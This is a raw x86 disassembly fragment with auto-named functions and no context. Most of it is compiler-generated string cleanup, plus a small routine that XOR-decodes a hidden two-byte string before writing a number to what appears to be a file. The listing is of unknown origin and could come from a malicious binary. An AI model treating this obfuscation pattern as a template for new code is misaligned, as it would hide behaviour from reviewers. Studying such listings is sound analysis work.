sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff5f
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x4d
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x41fb41
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fb37
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff5f
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x4c
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
cmp ecx, 0x10
jb 0x41fb9a
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fb90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff5f
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x4b
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
jb 0x41fbd8
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fbce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff5f
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov word [ebp - 0x1b], 0x8e9c
movq qword [ebp - 0x19], xmm0
xor ecx, ecx
mov byte [ebp - 0x11], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 2
jb 0x41fbf0
mov dword [0x558548], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1b]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xd0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xcc], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41fc30
sub ecx, edx
lea eax, [ebp - 0x1b]
push ecx
push eax
lea ecx, [ebp - 0xe0]
call fcn.00402b20
cmp dword [ebp - 0xcc], 0x10
lea ecx, [ebp - 0xe0]
lea eax, [ebp - 0x4c]
cmovae ecx, dword [ebp - 0xe0]
cmp dword [ebp - 0x38], 0x10
push ecx
cmovae eax, dword [ebp - 0x4c]
push eax
call fcn.004fda60
mov ecx, dword [ebp - 0xcc]
add esp, 8
mov esi, eax
cmp ecx, 0x10
jb 0x41fcae
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fca4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff64
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
test esi, esi
je 0x41fdb6
call fcn.00418280
test edx, edx
jg 0x41fcfa
jl 0x41fce0
test eax, eax
jae 0x41fcfa
neg eax
lea ecx, [ebp - 0x6b]
adc edx, 0
neg edx
push edx
push eax
call fcn.0048a680
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x41fd06
push edx
push eax
lea ecx, [ebp - 0x6b]
call fcn.0048a680
mov ecx, eax
xor edx, edx
lea eax, [ebp - 0x6b]
add esp, 8
mov dword [ebp - 0x88], edx
mov dword [ebp - 0x84], edx
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
cmp ecx, eax
jne 0x41fd3b
mov ecx, 0xf
mov byte [ebp - 0x98], dl
mov dword [ebp - 0x84], ecx
jmp 0x41fd59
lea eax, [ebp - 0x6b]
sub eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x98]
call fcn.00402b20
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x88]
push esi
cmp ecx, 0x10
lea eax, [ebp - 0x98]
push edx
cmovae eax, dword [ebp - 0x98]
push 1
push eax
call fcn.00505868
push esi
call fcn.005012e8
mov ecx, dword [ebp - 0x84]
add esp, 0x14
cmp ecx, 0x10
jb 0x41fdb6
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fdac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff69
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41fdea
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fde0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff6e
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x190]
cmp ecx, 0x10
jb 0x41fe24
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fe1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff73
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x178]
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x190], 0xf
mov byte [ebp - 0x1a4], 0
cmp ecx, 0x10
jb 0x41fe79
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fe6f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff73
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x22c]
cmp ecx, 0x10
jb 0x41feb3
mov edx, dword [ebp - 0x240]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fea9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff73
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x1ac]
cmp ecx, 0x10
jb 0x41feed
mov edx, dword [ebp - 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fee3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff73
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402390
call fcn.00402390
call fcn.00402390
call fcn.004fceb0
call fcn.00402390
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.00402390
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.00402390
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
int3